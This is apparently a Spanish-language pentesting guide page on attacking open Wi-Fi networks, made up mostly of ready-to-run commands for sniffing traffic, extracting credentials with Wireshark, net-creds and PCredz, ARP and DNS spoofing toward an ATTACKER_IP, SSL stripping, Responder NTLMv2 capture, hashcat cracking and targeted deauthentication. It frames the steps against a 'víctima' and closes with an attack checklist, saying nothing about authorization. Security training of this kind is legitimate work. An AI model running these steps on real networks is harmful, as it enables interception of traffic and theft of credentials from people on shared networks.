ataques-en-redes-abiertas-y-mitm-wi-fi
Ataques en Redes Abiertas y MITM Wi-Fi
Section titled “Ataques en Redes Abiertas y MITM Wi-Fi”Redes abiertas como superficie de ataque
Section titled “Redes abiertas como superficie de ataque”Las redes Wi-Fi abiertas (sin contraseña) son las más vulnerables porque todo el tráfico HTTP viaja en texto claro y es capturable por cualquier persona en el mismo canal. Se encuentran en cafeterías, hoteles, aeropuertos, bibliotecas y espacios públicos.
Red abierta:[Cliente] ──────────────────────────→ [AP] → Internet tráfico HTTP en texto claro ↑ Cualquiera con una tarjeta Wi-Fi en modo monitor puede capturar estoSniffing pasivo en redes abiertas
Section titled “Sniffing pasivo en redes abiertas”Captura básica con airodump-ng
Section titled “Captura básica con airodump-ng”# Identificar el canal de la red objetivoairodump-ng wlan0mon# Anotar el canal de la red abierta objetivo
# Focalizar la captura en ese canalairodump-ng wlan0mon --channel 6 -w captura_abierta
# O capturar todo el canal sin filtrar por BSSID# (útil para ver todo el tráfico del canal)Captura directa con tcpdump
Section titled “Captura directa con tcpdump”# Poner la interfaz en el canal correctoiwconfig wlan0mon channel 6
# Capturar todo el tráfico del canaltcpdump -i wlan0mon -w captura.pcap
# Solo HTTP (puerto 80)tcpdump -i wlan0mon -w http_traffic.pcap port 80
# Solo protocolos con credenciales en clarotcpdump -i wlan0mon -w credenciales.pcap \ 'port 21 or port 23 or port 25 or port 110 or port 143 or port 80'
# Captura en tiempo real con output ASCIItcpdump -i wlan0mon -A port 80 | grep -E "GET|POST|password|user|login|auth"Análisis de capturas
Section titled “Análisis de capturas”Wireshark — Análisis visual
Section titled “Wireshark — Análisis visual”# Abrir la capturawireshark captura.pcap
# Filtros esenciales para extraer credenciales:
# HTTP POST (formularios de login)http.request.method == "POST"
# Credenciales HTTP en clarohttp contains "password"http contains "passwd"http contains "pass="http contains "pwd="
# HTTP Basic Authhttp.authheader
# FTP loginftp.request.command == "USER" || ftp.request.command == "PASS"
# Telnet (todo en claro)telnet
# POP3 emailspop
# SMTPsmtp
# Seguir el stream TCP completo de una conexión interesante:# Clic derecho en paquete → Follow → TCP Stream# → Ver toda la conversación incluyendo credenciales
# Extraer archivos transferidos via HTTP:# File → Export Objects → HTTP# → Descarga todas las imágenes, archivos, etc. capturadosnet-creds — Extracción automática de credenciales
Section titled “net-creds — Extracción automática de credenciales”# Instalacióngit clone https://github.com/DanMcInerney/net-creds.gitpip3 install -r requirements.txt
# Desde archivo pcappython3 net-creds.py -p captura.pcap
# En tiempo real desde la interfazpython3 net-creds.py -i wlan0mon
# Extrae automáticamente credenciales de:# → HTTP (GET/POST con parámetros de login)# → FTP (usuario y contraseña)# → IRC (nick y contraseña)# → POP3 (usuario y contraseña)# → IMAP (usuario y contraseña)# → Telnet (sesión completa)# → SMTP AUTH# → HTTP Basic Auth# → MSN / AIM# → NTLMv1/v2PCredz — Extracción avanzada
Section titled “PCredz — Extracción avanzada”# Instalacióngit clone https://github.com/lgandx/PCredz.gitpip3 install Scapy python-ldap
# Desde pcappython3 Pcredz -f captura.pcap -v
# En tiempo realpython3 Pcredz -i wlan0mon -v
# Extrae además:# → Hashes NTLMv1/v2 (para crackear offline)# → Credenciales de protocolos de bases de datos# → Hashes de autenticación Kerberos# → Tokens de sesiónARP Spoofing — MITM en red Wi-Fi
Section titled “ARP Spoofing — MITM en red Wi-Fi”Una vez conectado a la misma red que la víctima, el ARP Spoofing permite interceptar TODO su tráfico, incluyendo HTTPS (con SSL stripping).
Sin ARP Spoofing:[Víctima] ────────────────────→ [Router] → Internet
Con ARP Spoofing:[Víctima] → [Atacante] → [Router] → Internet ↑ Todo el tráfico pasa por el atacantePreparación
Section titled “Preparación”# Habilitar IP forwarding (imprescindible para que la víctima tenga internet)echo 1 > /proc/sys/net/ipv4/ip_forward# Permanente:echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.confsysctl -p
# Verificar que estás en la misma red que la víctimaip a # Tu IParp -a # Tabla ARP actualARP Spoofing con arpspoof
Section titled “ARP Spoofing con arpspoof”# Terminal 1: envenenar la tabla ARP de la víctima# (diciéndole que la IP del router es nuestra MAC)arpspoof -i wlan0 -t VICTIMA_IP GATEWAY_IP
# Terminal 2: envenenar la tabla ARP del router# (diciéndole que la IP de la víctima es nuestra MAC)arpspoof -i wlan0 -t GATEWAY_IP VICTIMA_IP
# Ambas terminales deben estar activas simultáneamente# para MITM bidireccional
# Capturar el tráfico interceptadotcpdump -i wlan0 -w mitm_captura.pcap host VICTIMA_IPMITM con Bettercap (más moderno y completo)
Section titled “MITM con Bettercap (más moderno y completo)”# Iniciar bettercap en la interfaz conectada a la redbettercap -iface wlan0
# En la consola interactiva de bettercap:
# Ver dispositivos en la rednet.probe onnet.show
# ARP spoofing contra todos los dispositivosset arp.spoof.targets 192.168.1.0/24arp.spoof on
# O solo contra una víctima específicaset arp.spoof.targets 192.168.1.5arp.spoof on
# Sniffing del tráfico interceptadonet.sniff on# Muestra credenciales en tiempo real en la consola
# Capturar a archivo pcapset net.sniff.output captura_mitm.pcapnet.sniff on
# DNS spoofing (redirigir dominios específicos)set dns.spoof.domains google.com,facebook.comset dns.spoof.address ATTACKER_IP # Nuestra IP donde tenemos el server falsodns.spoof on
# HTTP proxy para modificar tráfico en tiempo realhttp.proxy on
# Verificar el estado de los módulosmodulesSSL Stripping — Downgrade HTTPS → HTTP
Section titled “SSL Stripping — Downgrade HTTPS → HTTP”# Bettercap puede hacer SSL stripping automáticamentebettercap -iface wlan0 -eval "set arp.spoof.targets VICTIMA_IP; arp.spoof on; \ set https.proxy.sslstrip true; https.proxy on; net.sniff on"
# Con sslstrip2 + bettercap:set https.proxy.sslstrip truehttps.proxy on
# Con mitmproxy (más control):mitmproxy --mode transparent --showhost \ --ssl-insecure -p 8080
# Configurar iptables para redirigir el tráfico HTTPS al proxyiptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 \ -j REDIRECT --to-port 8080
# Limitaciones de SSL Stripping:# → HSTS (HTTP Strict Transport Security) lo previene en sitios modernos# → Los navegadores modernos marcan el sitio como "inseguro"# → Funciona en: apps móviles sin certificate pinning, apps antiguas, HTTP puroCaptura de hashes NTLMv2 (Responder)
Section titled “Captura de hashes NTLMv2 (Responder)”En redes con dispositivos Windows, Responder captura hashes de autenticación NTLM respondiendo a consultas LLMNR y NBT-NS.
# Responder en la interfaz Wi-Fi conectadasudo responder -I wlan0 -rdwv
# Responder actúa como:# → Servidor SMB falso# → Servidor HTTP falso# → Servidor FTP falso# → Servidor SQL falso# → Servidor LDAP falso# → Envenenador LLMNR/NBT-NS
# Los hashes NTLMv2 capturados se guardan en:ls /usr/share/responder/logs/
# Crackear los hashes con hashcathashcat -m 5600 hashes_ntlmv2.txt /usr/share/wordlists/rockyou.txtCaptura de tráfico en redes cifradas (mismo canal)
Section titled “Captura de tráfico en redes cifradas (mismo canal)”Incluso en redes WPA2 (sin ser cliente), se puede capturar tráfico cifrado y descifrarlo si se tiene la PSK.
# Capturar el tráfico de la red WPA2airodump-ng wlan0mon --bssid BSSID_AP --channel 6 -w captura_cifrada
# Desencriptar en Wireshark con la contraseña conocida:# Edit → Preferences → Protocols → IEEE 802.11# → Enable decryption: YES# → Decryption keys → Add# → Key type: wpa-pwd# → Key: contraseña:SSID (ej: mipassword:MiWiFi)
# O con airdecap-ng desde la terminalairdecap-ng -e "NombreRed" -p "ContraseñaRed" captura_cifrada-01.cap# Genera: captura_cifrada-01-dec.cap (descifrado)
# Analizar el tráfico descifradowireshark captura_cifrada-01-dec.capDeauth selectivo para capturar handshakes de clientes específicos
Section titled “Deauth selectivo para capturar handshakes de clientes específicos”# Si quieres capturar el tráfico de UN cliente específico:
# 1. Identificar el cliente en airodump-ng (columna STATION)# 2. Deauth solo a ese clienteaireplay-ng -0 3 -a BSSID_AP -c MAC_CLIENTE wlan0mon
# 3. El cliente se reconecta y genera un handshake# 4. Descifrar su tráfico con airdecap-ng si tienes la PSKHerramientas de análisis post-captura
Section titled “Herramientas de análisis post-captura”# Dsniff — extracción de credenciales de pcapdsniff -p captura.pcap
# urlsnarf — URLs visitadasurlsnarf -p captura.pcap
# msgsnarf — mensajes de chat (IRC, AIM...)msgsnarf -p captura.pcap
# mailsnarf — emailsmailsnarf -p captura.pcap
# filesnarf — archivos transferidos via NFSfilesnarf -p captura.pcap
# strings en el pcap (búsqueda bruta)strings captura.pcap | grep -iE "password|passwd|pass=|pwd=|user=|login"
# tshark para extraer campos específicos# Extraer todas las URLs visitadastshark -r captura.pcap -Y "http.request" \ -T fields -e http.host -e http.request.uri
# Extraer todos los POST con parámetrostshark -r captura.pcap -Y "http.request.method==POST" \ -T fields -e ip.src -e http.host -e http.file_dataChecklist para redes abiertas
Section titled “Checklist para redes abiertas”□ Identificar la red abierta objetivo con airodump-ng□ Fijar el canal: iwconfig wlan0mon channel N□ Iniciar captura: tcpdump -i wlan0mon -w captura.pcap□ Analizar con Wireshark: filtro http.request.method == POST□ Ejecutar net-creds para extracción automática□ Si se está conectado a la misma red: □ IP forwarding habilitado □ ARP spoofing con bettercap o arpspoof □ net.sniff on en bettercap para ver credenciales en tiempo real □ Responder para hashes NTLMv2 si hay Windows□ Analizar pcap completo con dsniff, urlsnarf, filesnarfBettercap unifica en un solo framework el ARP spoofing, SSL stripping, DNS spoofing y captura de credenciales. Es la herramienta más completa para MITM en redes Wi-Fi y reemplaza a las herramientas individuales (arpspoof, sslstrip, dnsspoof) con una interfaz interactiva.
En redes corporativas con dispositivos Windows, Responder captura hashes NTLMv2 de forma pasiva respondiendo a resoluciones LLMNR fallidas — sin necesidad de atacar directamente ningún dispositivo. Muy sigiloso y efectivo.
El SSL stripping es cada vez menos efectivo en sitios modernos porque HSTS hace que el navegador rechace la conexión HTTP incluso si el servidor la ofrece. Sigue funcionando en apps móviles sin certificate pinning, servicios internos, y sitios que no tienen HSTS configurado.